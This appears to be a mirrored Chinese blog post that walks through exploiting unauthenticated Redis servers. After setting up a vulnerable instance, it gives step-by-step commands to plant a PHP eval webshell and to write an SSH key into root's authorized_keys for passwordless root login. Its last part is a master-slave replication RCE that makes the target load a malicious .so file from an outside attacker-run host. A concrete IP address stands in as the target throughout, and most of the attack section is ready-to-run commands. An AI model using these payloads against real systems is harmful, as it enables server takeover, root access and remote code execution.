zoukankan      html  css  js  c++  java
  • redis未授权访问简单总结

    redis环境搭建


    下载有漏洞的redis版本
    wget http://download.redis.io/releases/redis-3.2.11.tar.gz

    编译文件
    make

    进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf到etc目录
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    cp redis.conf /etc/

    编辑/etc/redis.conf文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务

    使用redis-server /etc/redis.conf启动redis服务

    攻击机直接下载redis拷贝文件即可

    漏洞利用


    使用namp检测远程主机redis开放情况
    nmap -A -p 6379 --script redis-info 94.191.84.130

    直接尝试登录redis
    redis-cli -h 94.191.84.130
    使用info查看信息

    低权限写文件(需要有增删改查权限)
    设置备份目录
    CONFIG SET dir /tmp
    设置文件名
    CONFIG SET dbfilename webshell.php
    向备份文件中写入一句话
    CONFIG SET webshell " <?php @eval($_POST['c']);?> "
    保存
    save

    利用"公私钥"认证获取root权限,ssh免密登陆目标服务器


    1. 生成公私钥并导出公钥为txt格式
    2. 写入公钥到redis
    3. 连接目标redis服务
    4. 设置备份目录为SSH公钥存放路径/root/.ssh
    5. 设置备份文件名
    6. 保存备份(写入公钥)
    7. 免密ssh登陆

    生成公私钥
    ssh-keygen -t rsa

    导出公钥为txt格式
    (echo -e " "; cat id_rsa.pub; echo -e " ") > 1.txt

    写入redis缓存
    cat 1.txt | redis-cli -h 94.191.84.130 -x set crack

    连接redis查看并设置备份目录
    redis-cli -h 94.191.84.130
    CONFIG GET dir
    CONFIG SET dir /root/.ssh

    设置备份文件名并保存备份文件
    CONFIG set dbfilename authorized_keys
    save

    使用私钥免密登陆ssh
    ssh -i id_rsa root@94.191.84.130

    Redis 基于主从复制的 RCE 利用方式


    1 . 连接远程未授权redis服务器
    2 .设置主服务器为自己服务器
    3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上
    4.然后在从机上加载so文件
    5.直接执行恶意命令
    先本地开启一个redis>4.0的版本,然后执行
    python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so

  • 相关阅读:
    Leetcode 1489找到最小生成树李关键边和伪关键边
    Leetcode 113 路径总和 II
    hdu 1223 还是畅通工程
    hdu 1087 Super Jumping! Jumping! Jumping!
    hdu 1008 Elevator
    hdu 1037 Keep on Truckin'
    湖工oj 1241 畅通工程
    湖工oj 1162 大武汉局域网
    hdu 2057 A + B Again
    poj 2236 Wireless Network
  • 原文地址:https://www.cnblogs.com/AirSky/p/Redis_Unauthorized_Access.html
Copyright © 2011-2022 走看看